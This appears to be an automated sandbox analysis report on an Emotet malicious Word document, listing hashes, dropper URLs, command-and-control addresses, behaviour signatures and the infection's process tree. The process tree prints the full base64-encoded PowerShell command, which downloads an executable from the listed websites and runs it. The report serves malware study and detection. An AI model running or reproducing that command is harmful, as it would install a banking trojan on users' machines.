emotet | 82f568f61de9734c8e33acfb3b6f83db73cfa15b32d02ec8d126a8ce89fc054b

General

Target

emotet_e2_82f568f61de9734c8e33acfb3b6f83db73cfa15b32d02ec8d126a8ce89fc054b_2020-09-19__122843397599._doc.doc
Size

190KB
MD5

aa568aa54d01812a104159a18d8dbf3d
SHA1

b0b424418e0b3e3a22de5a349113ba80a6c731ce
SHA256

82f568f61de9734c8e33acfb3b6f83db73cfa15b32d02ec8d126a8ce89fc054b
SHA512

48b767d85b30b5c47510500639e1b18bb69da16cb2f4611cb87534b3c8a26dae85452c640db6a70e3f7dd8d7fb4c97580feb2c15d15df3d05c73132d10968f94

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://geisterhouse.com/cgi-bin/LAb1/

exe.dropper

http://amyemitchell.com/themes/w/

exe.dropper

http://forestanalytics.net/images/57A7/

exe.dropper

https://konican.com/cgi-bin/cWu/

exe.dropper

http://strike3productions.com/squad/3aV6xrH/

exe.dropper

http://riandutra.com/img/wOMENgh/

exe.dropper

http://justinscott.com.au/sites/rRS/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1824	2992	powershell.exe

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/3796-12-0x00000000021D0000-0x00000000021E2000-memory.dmp	emotet
behavioral1/memory/3796-12-0x00000000021D0000-0x00000000021E2000-memory.dmp	emotet
behavioral1/memory/3796-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral1/memory/3796-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral1/memory/904-16-0x0000000000610000-0x0000000000622000-memory.dmp	emotet
behavioral1/memory/904-16-0x0000000000610000-0x0000000000622000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 1824 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

M5km4176.execfgmgr32.exe

pid process

3796 M5km4176.exe
904 cfgmgr32.exe
Drops file in System32 directory 1 IoCs

Processes:

M5km4176.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\msisip\cfgmgr32.exe M5km4176.exe

flow	pid	process
11	1824	powershell.exe

pid	process
3796	M5km4176.exe
904	cfgmgr32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\msisip\cfgmgr32.exe	M5km4176.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.execfgmgr32.exe

pid process

1824 powershell.exe
1824 powershell.exe
1824 powershell.exe
904 cfgmgr32.exe
904 cfgmgr32.exe
904 cfgmgr32.exe
904 cfgmgr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1824 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE

pid	process
1824	powershell.exe
1824	powershell.exe
1824	powershell.exe
904	cfgmgr32.exe
904	cfgmgr32.exe
904	cfgmgr32.exe
904	cfgmgr32.exe

description	pid	process
Token: SeDebugPrivilege	1824	powershell.exe

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeM5km4176.exe

description	pid	process	target process
PID 1824 wrote to memory of 3796	1824	powershell.exe	M5km4176.exe
PID 1824 wrote to memory of 3796	1824	powershell.exe	M5km4176.exe
PID 1824 wrote to memory of 3796	1824	powershell.exe	M5km4176.exe
PID 3796 wrote to memory of 904	3796	M5km4176.exe	cfgmgr32.exe
PID 3796 wrote to memory of 904	3796	M5km4176.exe	cfgmgr32.exe
PID 3796 wrote to memory of 904	3796	M5km4176.exe	cfgmgr32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_82f568f61de9734c8e33acfb3b6f83db73cfa15b32d02ec8d126a8ce89fc054b_2020-09-19__122843397599._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1824

C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe
"C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\SysWOW64\msisip\cfgmgr32.exe
"C:\Windows\SysWOW64\msisip\cfgmgr32.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ep1s8UV\cdc8b6U\M5km4176.exe

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C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe

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C:\Windows\SysWOW64\msisip\cfgmgr32.exe

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memory/904-16-0x0000000000610000-0x0000000000622000-memory.dmp

Filesize
72KB

Download
memory/904-14-0x0000000000000000-mapping.dmp

Download
memory/1824-5-0x00007FF881050000-0x00007FF881A3C000-memory.dmp

Filesize
9.9MB

Download
memory/1824-6-0x0000025C6E460000-0x0000025C6E461000-memory.dmp

Filesize
4KB

Download
memory/1824-7-0x0000025C6E610000-0x0000025C6E611000-memory.dmp

Filesize
4KB

Download
memory/3796-13-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/3796-9-0x0000000000000000-mapping.dmp

Download
memory/3796-12-0x00000000021D0000-0x00000000021E2000-memory.dmp

Filesize
72KB

Download
memory/3888-4-0x0000026B96F33000-0x0000026B96F36000-memory.dmp

Filesize
12KB

Download
memory/3888-0-0x00007FF888680000-0x00007FF888D46000-memory.dmp

Filesize
6.8MB

Download
memory/3888-3-0x0000026B96F33000-0x0000026B96F36000-memory.dmp

Filesize
12KB

Download
memory/3888-2-0x0000026B96F33000-0x0000026B96F36000-memory.dmp

Filesize
12KB

Download
memory/3888-1-0x0000026B96F2E000-0x0000026B96F33000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads